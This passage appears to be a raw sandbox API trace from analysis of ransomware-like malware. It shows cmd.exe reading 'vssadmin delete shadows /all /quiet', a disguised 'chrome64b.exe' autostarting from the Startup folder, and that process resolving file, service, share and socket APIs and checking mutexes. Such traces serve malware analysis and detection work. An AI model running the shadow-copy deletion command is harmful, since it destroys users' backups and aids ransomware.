(HeapHandle=0x229d1d70000, Flags=0x0, BaseAddress=0x229d1d78e90) returned 1 [0273.473] GetProcessHeap () returned 0x229d1d70000 [0273.473] RtlFreeHeap (HeapHandle=0x229d1d70000, Flags=0x0, BaseAddress=0x229d1d89260) returned 1 [0273.473] GetProcessHeap () returned 0x229d1d70000 [0273.473] RtlFreeHeap (HeapHandle=0x229d1d70000, Flags=0x0, BaseAddress=0x229d1d76330) returned 1 [0273.473] GetProcessHeap () returned 0x229d1d70000 [0273.473] RtlFreeHeap (HeapHandle=0x229d1d70000, Flags=0x0, BaseAddress=0x229d1d891a0) returned 1 [0273.473] _vsnwprintf (in: _Buffer=0x7ff67d057f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xc37e9ff888 | out: _Buffer="\r\n") returned 2 [0273.473] _get_osfhandle (_FileHandle=1) returned 0x254 [0273.473] GetFileType (hFile=0x254) returned 0x3 [0273.473] _get_osfhandle (_FileHandle=1) returned 0x254 [0273.473] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0273.473] WriteFile (in: hFile=0x254, lpBuffer=0x7ff67d049970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xc37e9ff858, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesWritten=0xc37e9ff858*=0x2, lpOverlapped=0x0) returned 1 [0273.474] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff67d04bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0273.474] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x229d1c70080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0273.474] _vsnwprintf (in: _Buffer=0x229d1c80060, _BufferCount=0x83e5, _Format="%s", _ArgList=0xc37e9ff898 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0273.474] _vsnwprintf (in: _Buffer=0x229d1c80086, _BufferCount=0x83d2, _Format="%c", _ArgList=0xc37e9ff898 | out: _Buffer=">") returned 1 [0273.474] _get_osfhandle (_FileHandle=1) returned 0x254 [0273.474] GetFileType (hFile=0x254) returned 0x3 [0273.474] _get_osfhandle (_FileHandle=1) returned 0x254 [0273.474] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21 [0273.474] WriteFile (in: hFile=0x254, lpBuffer=0x7ff67d049970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0xc37e9ff888, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesWritten=0xc37e9ff888*=0x14, lpOverlapped=0x0) returned 1 [0273.474] _get_osfhandle (_FileHandle=0) returned 0x248 [0273.474] GetFileType (hFile=0x248) returned 0x3 [0273.474] _get_osfhandle (_FileHandle=0) returned 0x248 [0273.474] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0273.474] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0273.475] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c30, cchWideChar=1 | out: lpWideCharStr="Essadmin delete shadows /all /quiet\n") returned 1 [0273.475] _get_osfhandle (_FileHandle=0) returned 0x248 [0273.475] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0273.475] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0273.475] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c32, cchWideChar=1 | out: lpWideCharStr="xsadmin delete shadows /all /quiet\n") returned 1 [0273.475] _get_osfhandle (_FileHandle=0) returned 0x248 [0273.475] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0273.475] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0273.475] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c34, cchWideChar=1 | out: lpWideCharStr="iadmin delete shadows /all /quiet\n") returned 1 [0273.475] _get_osfhandle (_FileHandle=0) returned 0x248 [0273.475] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0273.475] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0273.475] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c36, cchWideChar=1 | out: lpWideCharStr="tdmin delete shadows /all /quiet\n") returned 1 [0273.475] _get_osfhandle (_FileHandle=0) returned 0x248 [0273.475] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0273.475] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0273.476] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c38, cchWideChar=1 | out: lpWideCharStr="\nmin delete shadows /all /quiet\n") returned 1 [0273.476] _get_osfhandle (_FileHandle=0) returned 0x248 [0273.476] GetFileType (hFile=0x248) returned 0x3 [0273.476] _get_osfhandle (_FileHandle=0) returned 0x248 [0273.476] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0273.476] _get_osfhandle (_FileHandle=1) returned 0x254 [0273.476] GetFileType (hFile=0x254) returned 0x3 [0273.476] _get_osfhandle (_FileHandle=1) returned 0x254 [0273.476] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="Exit\n", cchWideChar=-1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Exit\n", lpUsedDefaultChar=0x0) returned 6 [0273.476] WriteFile (in: hFile=0x254, lpBuffer=0x7ff67d049970*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0xc37e9ffb88, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesWritten=0xc37e9ffb88*=0x5, lpOverlapped=0x0) returned 1 [0273.476] GetProcessHeap () returned 0x229d1d70000 [0273.476] RtlAllocateHeap (HeapHandle=0x229d1d70000, Flags=0x8, Size=0x4012) returned 0x229d1d78e90 [0273.476] GetProcessHeap () returned 0x229d1d70000 [0273.476] RtlFreeHeap (HeapHandle=0x229d1d70000, Flags=0x0, BaseAddress=0x229d1d78e90) returned 1 [0273.482] _wcsicmp (_String1="Exit", _String2=")") returned 60 [0273.482] _wcsicmp (_String1="FOR", _String2="Exit") returned 1 [0273.482] _wcsicmp (_String1="FOR/?", _String2="Exit") returned 1 [0273.482] _wcsicmp (_String1="IF", _String2="Exit") returned 4 [0273.482] _wcsicmp (_String1="IF/?", _String2="Exit") returned 4 [0273.482] _wcsicmp (_String1="REM", _String2="Exit") returned 13 [0273.482] _wcsicmp (_String1="REM/?", _String2="Exit") returned 13 [0273.482] GetProcessHeap () returned 0x229d1d70000 [0273.482] RtlAllocateHeap (HeapHandle=0x229d1d70000, Flags=0x8, Size=0xb0) returned 0x229d1d70730 [0273.482] GetProcessHeap () returned 0x229d1d70000 [0273.482] RtlAllocateHeap (HeapHandle=0x229d1d70000, Flags=0x8, Size=0x1a) returned 0x229d1d76330 [0273.483] GetConsoleOutputCP () returned 0x4e3 [0273.643] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff67d04fbb0 | out: lpCPInfo=0x7ff67d04fbb0) returned 1 [0273.643] SetThreadUILanguage (LangId=0x0) returned 0x409 [0273.648] GetConsoleTitleW (in: lpConsoleTitle=0xc37e9ff9d0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0273.660] malloc (_Size=0xffce) returned 0x229d1c90840 [0273.660] ??_V@YAXPEAX@Z () returned 0x229d1c90840 [0273.661] malloc (_Size=0xffce) returned 0x229d1ca0820 [0273.661] ??_V@YAXPEAX@Z () returned 0x229d1ca0820 [0273.661] _wcsicmp (_String1="Exit", _String2="DIR") returned 1 [0273.661] _wcsicmp (_String1="Exit", _String2="ERASE") returned 6 [0273.661] _wcsicmp (_String1="Exit", _String2="DEL") returned 1 [0273.661] _wcsicmp (_String1="Exit", _String2="TYPE") returned -15 [0273.661] _wcsicmp (_String1="Exit", _String2="COPY") returned 2 [0273.661] _wcsicmp (_String1="Exit", _String2="CD") returned 2 [0273.661] _wcsicmp (_String1="Exit", _String2="CHDIR") returned 2 [0273.661] _wcsicmp (_String1="Exit", _String2="RENAME") returned -13 [0273.661] _wcsicmp (_String1="Exit", _String2="REN") returned -13 [0273.661] _wcsicmp (_String1="Exit", _String2="ECHO") returned 21 [0273.661] _wcsicmp (_String1="Exit", _String2="SET") returned -14 [0273.661] _wcsicmp (_String1="Exit", _String2="PAUSE") returned -11 [0273.661] _wcsicmp (_String1="Exit", _String2="DATE") returned 1 [0273.661] _wcsicmp (_String1="Exit", _String2="TIME") returned -15 [0273.661] _wcsicmp (_String1="Exit", _String2="PROMPT") returned -11 [0273.661] _wcsicmp (_String1="Exit", _String2="MD") returned -8 [0273.661] _wcsicmp (_String1="Exit", _String2="MKDIR") returned -8 [0273.661] _wcsicmp (_String1="Exit", _String2="RD") returned -13 [0273.661] _wcsicmp (_String1="Exit", _String2="RMDIR") returned -13 [0273.661] _wcsicmp (_String1="Exit", _String2="PATH") returned -11 [0273.661] _wcsicmp (_String1="Exit", _String2="GOTO") returned -2 [0273.662] _wcsicmp (_String1="Exit", _String2="SHIFT") returned -14 [0273.662] _wcsicmp (_String1="Exit", _String2="CLS") returned 2 [0273.662] _wcsicmp (_String1="Exit", _String2="CALL") returned 2 [0273.662] _wcsicmp (_String1="Exit", _String2="VERIFY") returned -17 [0273.662] _wcsicmp (_String1="Exit", _String2="VER") returned -17 [0273.662] _wcsicmp (_String1="Exit", _String2="VOL") returned -17 [0273.662] _wcsicmp (_String1="Exit", _String2="EXIT") returned 0 [0273.662] ??_V@YAXPEAX@Z () returned 0x1 [0273.662] GetProcessHeap () returned 0x229d1d70000 [0273.662] RtlAllocateHeap (HeapHandle=0x229d1d70000, Flags=0x8, Size=0x14) returned 0x229d1d77610 [0273.662] GetProcessHeap () returned 0x229d1d70000 [0273.662] RtlAllocateHeap (HeapHandle=0x229d1d70000, Flags=0x8, Size=0x1a) returned 0x229d1d76500 [0273.662] GetProcessHeap () returned 0x229d1d70000 [0273.662] RtlAllocateHeap (HeapHandle=0x229d1d70000, Flags=0x8, Size=0x21c) returned 0x229d1d777c0 [0273.662] GetConsoleTitleW (in: lpConsoleTitle=0x229d1d777d0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0273.734] GetProcessHeap () returned 0x229d1d70000 [0273.734] RtlReAllocateHeap (Heap=0x229d1d70000, Flags=0x0, Ptr=0x229d1d777c0, Size=0x64) returned 0x229d1d777c0 [0273.734] GetProcessHeap () returned 0x229d1d70000 [0273.734] RtlSizeHeap (HeapHandle=0x229d1d70000, Flags=0x0, MemoryPointer=0x229d1d777c0) returned 0x64 [0273.734] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe - Exit") returned 1 [0273.740] GetProcessHeap () returned 0x229d1d70000 [0273.740] RtlFreeHeap (HeapHandle=0x229d1d70000, Flags=0x0, BaseAddress=0x229d1d777c0) returned 1 [0273.740] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0274.145] exit (_Code=2) Thread: id = 63 os_tid = 0xdc8 Process: id = "9" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x36a3c000" os_pid = "0xd4c" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "8" os_parent_pid = "0xd34" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001ac9c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 42 os_tid = 0xd50 Thread: id = 50 os_tid = 0xd74 Thread: id = 57 os_tid = 0xdb0 Thread: id = 59 os_tid = 0xdb8 Thread: id = 60 os_tid = 0xdbc Process: id = "10" image_name = "chrome64b.exe" filename = "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\chrome64b.exe" page_root = "0x18162000" os_pid = "0xd7c" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\chrome64b.exe\" " cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001ac9c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 51 os_tid = 0xd80 [0251.976] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76650000 [0251.976] GetProcAddress (hModule=0x76650000, lpProcName="GetProcAddress") returned 0x766651b0 [0251.976] GetProcAddress (hModule=0x76650000, lpProcName="GetModuleHandleW") returned 0x766650d0 [0251.977] GetProcAddress (hModule=0x76650000, lpProcName="FindNextFileW") returned 0x766bee40 [0251.977] GetProcAddress (hModule=0x76650000, lpProcName="FindClose") returned 0x766bed70 [0251.977] GetProcAddress (hModule=0x76650000, lpProcName="MoveFileW") returned 0x7669e500 [0251.977] GetProcAddress (hModule=0x76650000, lpProcName="GetFileSizeEx") returned 0x766bef40 [0251.977] GetProcAddress (hModule=0x76650000, lpProcName="GetModuleFileNameW") returned 0x76665090 [0251.977] GetProcAddress (hModule=0x76650000, lpProcName="GetFileAttributesW") returned 0x766bef10 [0251.977] GetProcAddress (hModule=0x76650000, lpProcName="ExitProcess") returned 0x76663cb0 [0251.977] GetProcAddress (hModule=0x76650000, lpProcName="GetCommandLineW") returned 0x76664cc0 [0251.977] GetProcAddress (hModule=0x76650000, lpProcName="GetComputerNameW") returned 0x766932c0 [0251.977] GetProcAddress (hModule=0x76650000, lpProcName="GetComputerNameA") returned 0x76693780 [0251.977] GetProcAddress (hModule=0x76650000, lpProcName="CreateMutexW") returned 0x766beb70 [0251.977] GetProcAddress (hModule=0x76650000, lpProcName="lstrlenW") returned 0x76666c70 [0251.977] GetProcAddress (hModule=0x76650000, lpProcName="lstrlenA") returned 0x76666c50 [0251.977] GetProcAddress (hModule=0x76650000, lpProcName="GetCurrentProcess") returned 0x766bea10 [0251.978] GetProcAddress (hModule=0x76650000, lpProcName="WaitForSingleObject") returned 0x766beca0 [0251.978] GetProcAddress (hModule=0x76650000, lpProcName="GetLogicalDrives") returned 0x76660d20 [0251.978] GetProcAddress (hModule=0x76650000, lpProcName="GetTickCount") returned 0x766bdd50 [0251.978] GetProcAddress (hModule=0x76650000, lpProcName="DeleteFileW") returned 0x766bed40 [0251.978] GetProcAddress (hModule=0x76650000, lpProcName="WideCharToMultiByte") returned 0x76666b10 [0251.978] GetProcAddress (hModule=0x76650000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x766bebb0 [0251.978] GetProcAddress (hModule=0x76650000, lpProcName="Sleep") returned 0x76666760 [0251.978] GetProcAddress (hModule=0x76650000, lpProcName="LeaveCriticalSection") returned 0x774db250 [0251.978] GetProcAddress (hModule=0x76650000, lpProcName="ReadFile") returned 0x766bf090 [0251.978] GetProcAddress (hModule=0x76650000, lpProcName="CreateFileW") returned 0x766bed10 [0251.978] GetProcAddress (hModule=0x76650000, lpProcName="OpenMutexW") returned 0x766bebf0 [0251.978] GetProcAddress (hModule=0x76650000, lpProcName="EnterCriticalSection") returned 0x774db2d0 [0251.978] GetProcAddress (hModule=0x76650000, lpProcName="WaitForMultipleObjects") returned 0x766bec80 [0251.978] GetProcAddress (hModule=0x76650000, lpProcName="lstrcmpiW") returned 0x76666bf0 [0251.978] GetProcAddress (hModule=0x76650000, lpProcName="lstrcmpiA") returned 0x76666bd0 [0251.978] GetProcAddress (hModule=0x76650000, lpProcName="DeleteCriticalSection") returned 0x774bfb90 [0251.978] GetProcAddress (hModule=0x76650000, lpProcName="ReleaseMutex") returned 0x766bec20 [0251.978] GetProcAddress (hModule=0x76650000, lpProcName="CloseHandle") returned 0x766beab0 [0251.978] GetProcAddress (hModule=0x76650000, lpProcName="GetVersion") returned 0x766656c0 [0251.978] GetProcAddress (hModule=0x76650000, lpProcName="CreateThread") returned 0x766646b0 [0251.978] GetProcAddress (hModule=0x76650000, lpProcName="ExpandEnvironmentStringsW") returned 0x76664a40 [0251.979] GetProcAddress (hModule=0x76650000, lpProcName="QueryPerformanceCounter") returned 0x76665da0 [0251.979] GetProcAddress (hModule=0x76650000, lpProcName="QueryPerformanceFrequency") returned 0x76665dc0 [0251.979] GetProcAddress (hModule=0x76650000, lpProcName="GetCurrentProcessId") returned 0x766bea20 [0251.979] GetProcAddress (hModule=0x76650000, lpProcName="SetFileAttributesW") returned 0x766bf100 [0251.979] GetProcAddress (hModule=0x76650000, lpProcName="GetVolumeInformationW") returned 0x766bf020 [0251.979] GetProcAddress (hModule=0x76650000, lpProcName="WriteFile") returned 0x766bf180 [0251.979] GetProcAddress (hModule=0x76650000, lpProcName="SetFilePointerEx") returned 0x766bf130 [0251.979] GetProcAddress (hModule=0x76650000, lpProcName="SetEndOfFile") returned 0x766bf0e0 [0251.979] GetProcAddress (hModule=0x76650000, lpProcName="FindFirstFileW") returned 0x766bedf0 [0251.979] GetProcAddress (hModule=0x76650000, lpProcName="GetProcessHeap") returned 0x766651f0 [0251.979] GetProcAddress (hModule=0x76650000, lpProcName="HeapReAlloc") returned 0x774cf630 [0251.979] GetProcAddress (hModule=0x76650000, lpProcName="HeapAlloc") returned 0x774d2dc0 [0251.979] GetProcAddress (hModule=0x76650000, lpProcName="HeapFree") returned 0x766657f0 [0251.979] GetProcAddress (hModule=0x76650000, lpProcName="CreatePipe") returned 0x76664590 [0251.979] GetProcAddress (hModule=0x76650000, lpProcName="SetHandleInformation") returned 0x766beae0 [0251.979] GetProcAddress (hModule=0x76650000, lpProcName="CreateProcessW") returned 0x76664610 [0251.979] GetProcAddress (hModule=0x76650000, lpProcName="CompareStringW") returned 0x76664430 [0251.979] GetProcAddress (hModule=0x76650000, lpProcName="CompareStringA") returned 0x76664410 [0251.980] GetProcAddress (hModule=0x76650000, lpProcName="OpenProcess") returned 0x76665cc0 [0251.980] GetProcAddress (hModule=0x76650000, lpProcName="TerminateProcess") returned 0x766667e0 [0251.980] GetProcAddress (hModule=0x76650000, lpProcName="GetSystemTime") returned 0x766654e0 [0251.980] GetProcAddress (hModule=0x76650000, lpProcName="SystemTimeToFileTime") returned 0x766667a0 [0251.980] GetProcAddress (hModule=0x76650000, lpProcName="GetLastError") returned 0x76665010 [0251.980] GetProcAddress (hModule=0x76650000, lpProcName="CreateToolhelp32Snapshot") returned 0x7669edc0 [0251.980] GetProcAddress (hModule=0x76650000, lpProcName="Process32NextW") returned 0x7669f8f0 [0251.980] GetProcAddress (hModule=0x76650000, lpProcName="Process32FirstW") returned 0x7669f750 [0251.980] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x76190000 [0252.146] GetProcAddress (hModule=0x76190000, lpProcName="RegOpenKeyExW") returned 0x761ae580 [0252.146] GetProcAddress (hModule=0x76190000, lpProcName="RegQueryValueExW") returned 0x761ae5a0 [0252.146] GetProcAddress (hModule=0x76190000, lpProcName="RegSetValueExW") returned 0x761af530 [0252.146] GetProcAddress (hModule=0x76190000, lpProcName="RegCloseKey") returned 0x761aed60 [0252.146] GetProcAddress (hModule=0x76190000, lpProcName="OpenProcessToken") returned 0x761aefb0 [0252.146] GetProcAddress (hModule=0x76190000, lpProcName="GetTokenInformation") returned 0x761aee90 [0252.146] GetProcAddress (hModule=0x76190000, lpProcName="OpenSCManagerW") returned 0x761b0540 [0252.146] GetProcAddress (hModule=0x76190000, lpProcName="OpenServiceW") returned 0x761afa20 [0252.147] GetProcAddress (hModule=0x76190000, lpProcName="CloseServiceHandle") returned 0x761afc00 [0252.147] GetProcAddress (hModule=0x76190000, lpProcName="ControlService") returned 0x761c26d0 [0252.147] GetProcAddress (hModule=0x76190000, lpProcName="QueryServiceStatus") returned 0x761b2380 [0252.147] GetProcAddress (hModule=0x76190000, lpProcName="EnumDependentServicesW") returned 0x761c2f70 [0252.147] GetProcAddress (hModule=0x76190000, lpProcName="EnumServicesStatusExW") returned 0x761afc80 [0252.147] LoadLibraryA (lpLibFileName="user32.dll") returned 0x76050000 [0252.281] GetProcAddress (hModule=0x76050000, lpProcName="SystemParametersInfoW") returned 0x7607f210 [0252.281] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x73f80000 [0252.510] GetProcAddress (hModule=0x73f80000, lpProcName="ShellExecuteExW") returned 0x740e4730 [0252.510] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77490000 [0252.511] GetProcAddress (hModule=0x77490000, lpProcName="NtQuerySystemInformation") returned 0x77502070 [0252.511] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x73e90000 [0252.514] GetProcAddress (hModule=0x73e90000, lpProcName="WNetCloseEnum") returned 0x73e92640 [0252.514] GetProcAddress (hModule=0x73e90000, lpProcName="WNetOpenEnumW") returned 0x73e92790 [0252.514] GetProcAddress (hModule=0x73e90000, lpProcName="WNetEnumResourceW") returned 0x73e92410 [0252.514] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x75ea0000 [0252.518] GetProcAddress (hModule=0x75ea0000, lpProcName="WSAStartup") returned 0x75ea5b40 [0252.518] GetProcAddress (hModule=0x75ea0000, lpProcName="socket") returned 0x75eb4510 [0252.518] GetProcAddress (hModule=0x75ea0000, lpProcName="send") returned 0x75ea5030 [0252.518] GetProcAddress (hModule=0x75ea0000, lpProcName="recv") returned 0x75eb0c50 [0252.518] GetProcAddress (hModule=0x75ea0000, lpProcName="connect") returned 0x75ea5410 [0252.518] GetProcAddress (hModule=0x75ea0000, lpProcName="closesocket") returned 0x75eb0910 [0252.518] GetProcAddress (hModule=0x75ea0000, lpProcName="gethostbyname") returned 0x75ed6cb0 [0252.519] GetProcAddress (hModule=0x75ea0000, lpProcName="inet_addr") returned 0x75eb9160 [0252.519] GetProcAddress (hModule=0x75ea0000, lpProcName="ntohl") returned 0x75ea49d0 [0252.519] GetProcAddress (hModule=0x75ea0000, lpProcName="htonl") returned 0x75ea49d0 [0252.519] GetProcAddress (hModule=0x75ea0000, lpProcName="htons") returned 0x75eb8ff0 [0252.519] GetProcessHeap () returned 0x5b0000 [0252.519] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5bb000 [0252.519] QueryPerformanceCounter (in: lpPerformanceCount=0x19fdb0 | out: lpPerformanceCount=0x19fdb0*=6311601264) returned 1 [0252.519] GetTickCount () returned 0xf666 [0252.519] GetCurrentProcessId () returned 0xd7c [0252.521] GetTickCount () returned 0xf666 [0252.521] GetTickCount () returned 0xf666 [0252.521] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5bb140 [0252.521] GetVersion () returned 0x23f00206 [0252.521] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x7) returned 0x5c6e58 [0252.521] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5c7da8 [0252.521] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c7da8, Size=0x20) returned 0x5bb168 [0252.521] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5bb168, Size=0x40) returned 0x5c7a20 [0252.521] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x5cd488 [0252.522] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_987AS6A") returned 0x1ec [0252.522] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c6e58 | out: hHeap=0x5b0000) returned 1 [0252.522] lstrlenW (lpString="Global\\syncronize_") returned 18 [0252.522] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7a20 | out: hHeap=0x5b0000) returned 1 [0252.522] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x7) returned 0x5c6e58 [0252.522] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x5c7da8 [0252.522] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5c7da8, Size=0x20) returned 0x5bb168 [0252.522] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x5bb168, Size=0x40) returned 0x5c7a68 [0252.522] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x5dd490 [0252.522] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_987AS6U") returned 0x1f0 [0252.522] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c6e58 | out: hHeap=0x5b0000) returned 1 [0252.523] lstrlenW (lpString="Global\\syncronize_") returned 18 [0252.523] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7a68 | out: hHeap=0x5b0000) returned 1 [0252.523] GetVersion () returned 0x23f00206 [0252.523] GetCurrentProcess () returned 0xffffffff [0252.523] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fd9c | out: TokenHandle=0x19fd9c*=0x1f4) returned 1 [0252.523] GetTokenInformation (in: TokenHandle=0x1f4, TokenInformationClass=0x14, TokenInformation=0x19fd98, TokenInformationLength=0x4, ReturnLength=0x19fda4 | out: TokenInformation=0x19fd98, ReturnLength=0x19fda4) returned 1 [0252.523] CloseHandle (hObject=0x1f4) returned 1 [0252.523] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x102 [0252.523] ExitProcess (uExitCode=0x0) Thread: id = 58 os_tid = 0xdb4 Process: id = "11" image_name = "mode.com" filename = "c:\\windows\\system32\\mode.com" page_root = 